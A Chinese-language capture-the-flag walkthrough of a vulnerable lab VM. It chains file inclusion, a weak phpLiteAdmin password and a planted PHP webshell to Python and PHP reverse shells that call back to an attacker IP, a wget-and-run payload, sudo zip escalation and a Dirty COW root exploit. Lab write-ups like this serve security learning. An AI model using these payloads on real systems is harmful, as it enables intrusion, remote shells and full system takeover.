我这个靶机总结了两种反弹shell和两种提权的方法(python反shell和zip提权、php反shell和脏牛提权)并且有我错误的经验。希望能帮助到你们
1.探测发现开放端口22、80、111端口,发现页面存在文件包含漏洞,dirb目录后发现一处数据库登录页面并提示了phpLiteAdmin 1.9.3版本。弱口令admin即可进入
2.进入数据库页面后在info处发现两个账号密码,但ssh连接都不成功。
3.通过利用phpLiteAdmin 1.9.3版本的远程文件包含漏洞和python或php的反弹shell方式与nc连接得到一个交互的低权限shell
4.在/home/zico/目录下发现wp框架并查看wp-config.php文件找到zico用户的密码、登录到zico后发现该账号可用zip提权(也可以用脏牛提权,直接提到最高root权限)
靶机在VMbox用的是桥接网络 netdiscover -i eth0 -r 192.168.0.0/24 探测存活主机
Nmap -O 192.168.0.120探测存活的端口和靶机系统版本
111端口RPCBIND用于取代旧版本中的portmap组件。
简单说,RPCBIND就是为了将不同服务与对应的端口进行绑定,以便支持机器间的相互操作
既然开放了80端,就去网页玩玩看看,是一个挺优雅美观的页面
但这个页面好像也没什么好突破的,在最下面的按钮check them out点击才发现了突破口
?page=、?url=、反正看到?xxx=的形式,你可以尝试的点有四个
1、 任意url跳转
2、 Ssrf
3、 文件包含
4、 Sql注入
但这里挖到文件包含漏洞,经典的探测方法就是…/…/etc/passwd,我这里用的是burp抓包方法,也可以直接在页面url链接那直接尝试。
有文件包含漏洞的话,很有必要扫出一些有用的目录,然后结合文件包含漏洞得到一些重要的敏感信息dirb扫描页面目录,但得到有用的页面并不多
这个页面主要有用的还是dbadmin
进去是个登录页面,并且提示了框架信息,phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞
这个页面弱口令admin密码就可以登录了。登录后可以查看账号密码
扔进去MD5解密一下
得到了两个账号密码root 34kroot34 /zico zico2215@
这里我有两个想法
1. 用ssh登录下账号密码,看能否成功
2. 利用phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞
步骤一:返回到数据库管理页面先创造一个.php文件作为数据库
步骤二:在该数据库(php文件下)创建一个数据表a(随便设置名字)
步骤三:在Default Value下插入一句话马子
因为在这里上传的一句话中引号会被过滤,所以一句话不含单引号;
步骤四:利用刚开始那文件包含漏洞,访问一下创建的数据库(php文件)
步骤五:上菜刀
接着上一回菜刀连接:只是www-data还不是最高的root权限,但我发现传错了一句话,之前post传输的一句话虽然能连接菜刀,但是并不能在页面&cmd显示出来,需要改成get型
然后在kali端监听并且开放端口1234,在页面url使用以下pyhon反shell的payload(注意修改IP和端口
192.168.0.120/view.php?page=../../usr/databases/feng.php&cmd=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.99",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
这个用法在我的bulldogs上有,如果不懂的,可以去看看我博客的bulldogs
得到了靶机shell之后用python的完全交互tty
进入之后找路径疯狂搜索资料,在/home/zico/文件下看到是wordpress框架,直接找它的wp-config.php文件!我上一篇靶机(Billu_b0x )也是wp框架,cat查看该文件
获得密码sWfCsfJSPV9H3AmQzw8
用su zico切换用户并且查看该用户的权限
这里看到zip拥有root权限,如何用zip提权
参考:https://www.freebuf.com/articles/system/206007.html像这里一样套着用就行
touch feng
sudo zip /tmp/feng.zip /home/zico/feng -T --unzip-command="sh -c /bin/bash
创建feng文件,然后将文件feng压缩,然后将其移动到/tmp/文件夹,最后在/home/zico解压缩,
然后弹出root
到这里应该是结束的了,但我在网上看到了其他不同的做法, 我想复现出来,多学点东西
把脚本写进oa.txt,并把该文件夹放进kali的root目录下,因为我要在该目录下开启微型服务器。Tips(如果要在/var/www/html的话,就要在那个目录下建脚本)
脚本内容
<?php $sock=fsockopen("192.168.0.99",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
apache的/etc/init.d/apache2 start
python -m SimpleHTTPServer 80
然后回到进入的数据库,我们先创建一个数据库feng_data,再创建feng_table表,表中插入wet下载靶机的oa.txt脚本内容
然后先监听kali,注意nc监听的时候不要关闭http服务器,同时开多一个命令框就好了
但….发现…并不能反shell,搞了我很久,逼得我非要把东西都改成shell.php才成功,
<?php system("wget 192.168.0.99/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
-O就是把wget下载的内容输入到tmp目录shell.php里面,php /tmp/shell.php就是运行这段代码
那为什么都要是shell这个名字才行,有点不科学。(数据库,数据表,都改成shell.php
Exp下载https://github.com/FireFart/dirtycow
下载好之后把dirty.c拉到kali的root文件夹下
因为我的轻型服务器还没断开,而且是靶机的一个低级权限,所以我要下载这个dirty.c
文件wget http://192.168.0.99/dirty.c -O /tmp/dirty.c
下载好了之后可以进行gcc -pthread dirty.c -o exp -lcrypt(编译命令
./exp feng (使用exp,后面的feng是密码,你喜欢也可以换其他)
查看一下超级管理员的账号改成firefart没有,可见root已经替换成firefart了
切换到firefart用户
听说你们还不信是root权限